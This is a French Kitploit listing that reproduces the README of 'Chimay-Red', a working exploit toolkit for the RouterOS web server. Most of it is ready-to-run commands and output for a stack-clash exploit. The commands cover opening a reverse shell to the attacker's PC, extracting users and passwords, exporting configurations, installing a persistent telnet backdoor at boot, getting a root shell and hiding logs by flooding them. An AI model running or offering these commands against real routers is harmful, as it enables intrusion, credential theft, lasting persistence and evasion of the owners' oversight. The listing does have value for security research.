Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Chimay-Red — POC fonctionnel de l'exploit Mikrotik issu des fuites Vault 7 de la CIA | Kitploit
Outils/GitHubGitHub/bignerd95/chimay-red
Sécurité des Systèmes EmbarquésSécurité IoTAnalyse des VulnérabilitésExploitationRétro-ingénierieShellcodePost-ExploitationTests d'IntrusionSécurité Matériel et IoTDéveloppement de Charges UtilesExploitation de Binaires
6682137il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubbignerd95/chimay-red

Chimay-Red

POC fonctionnel de l'exploit Mikrotik issu des fuites Vault 7 de la CIA

Voir le dépôt

Chimay-Red

Rétro-ingénierie de l'exploit Mikrotik issu des fuites CIA Vault 7

Voir le PDF pour plus d'informations (non mis à jour)

Versions vulnérables

Jusqu'à RouterOS 6.38.4

Nouveautés dans 6.38.5 (2017-Mar-09 11:32) :
!) www - correction de la vulnérabilité du serveur http ;

Preuves de concept

CrashPOC

Simple crash en envoyant -1 comme content-length dans l'en-tête post

StackClashPOC

Exploit stack clash utilisant deux threads, chaîne ROP manquante

Exploits fonctionnels

Comme la ROP est créée dynamiquement, vous devez extraire le binaire www du firmware RouterOS.
(Il est placé dans /nova/bin/)
Vérifiez que la version en cours d'exécution est la même.
Pour simplifier l'extraction, vous pouvez utiliser :

$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary

StackClash_x86

Exploit stack clash utilisant deux threads avec chaîne ROP pour exécuter des commandes bash

Reverse shell :

Dans un shell :

$ nc -l -p 1234 

Dans un autre shell :

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"

Où :

  • IP RouterOS : 192.168.8.1
  • IP PC : 192.168.8.5

Extraire les utilisateurs et mots de passe

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (attendre quelques secondes que www redémarre)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -

Exporter les configurations

Vous pouvez exécuter une commande dans la console Mikrotik avec /nova/bin/info.
Ex : /nova/bin/info "/system reboot" redémarrera le système.

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (l'exécution de la commande /export est un peu lente)
$ curl -s http://192.168.8.1/winbox/index

StackClash_mips

Exploit stack clash utilisant deux threads avec chaîne ROP + shell code pour exécuter des commandes bash
Sur la version mips de www, la pile est RWX, nous pouvons donc sauter vers la pile.

Vous pouvez exécuter la même commande bash que la version x86.

LCD

Commande amusante

$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

image

Son Super Mario

Ne le faites pas ! ;-P

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"

Téléverser des binaires

Pour téléverser busybox-mips dans /ram/busybox
Dans un shell :

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips  
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; } | nc -l -q 0 -p 1234

Dans un autre shell (notez que ceci est la commande reverse shell) :

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

et attendez que la connexion se ferme automatiquement.
(Une fois le fichier téléversé, relancez le reverse shell (cette fois en écoutant uniquement avec nc -l -p 1234) et vous trouverez busybox dans /ram/)

Serveur telnet persistant

Vous pouvez exécuter un script à chaque démarrage en créant un script bash dans /flash/etc/rc.d/run.d/.
Faites attention à définir les permissions d'exécution, sinon votre routeur restera bloqué au démarrage et vous devrez restaurer le firmware !
Cet exemple active un serveur telnet persistant sur le port 23000.
Dans un shell :

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips 
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234

Dans un autre shell (notez que ceci est la commande reverse shell) :

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

et attendez que Done! Rebooting... apparaisse.
Une fois le routeur redémarré :

$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.


MikroTik v6.38.4 (stable)
/ #

StackClash_resock_mips

Réutilise le socket http pour lancer un shell, vous pouvez donc avoir un shell sans connexion inverse.

$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode

Got root ;-)

Téléverser des binaires sans reverse shell

Pour téléverser busybox-mips dans /ram/busybox

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips  
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox   
[...]   
Uploading busybox-mips in /ram/busybox...   
Upload done!
sh: turning off NDELAY mode

Got root ;-)

chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]

Changer le logo de démarrage

Seuls les fichiers RGB Bitmap 24 bits (non compressés) sont pris en charge.
Taille maximale : 160px de largeur, 76px de hauteur
Vous pouvez trouver un exemple ici

$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp  
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode

Got root ;-)

reboot
*** Connection closed by remote host ***

image

Masquer les logs

Pour supprimer les logs après vos actions de post-exploitation

/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"

FAQ

Où trouver le fichier chimay-red.py, sur lequel repose cette boîte à outils ?

Il s'agit d'une rétro-ingénierie de documentation CIA divulguée.
Il n'existe pas de chimay-red.py disponible publiquement.

Télécharger l’outil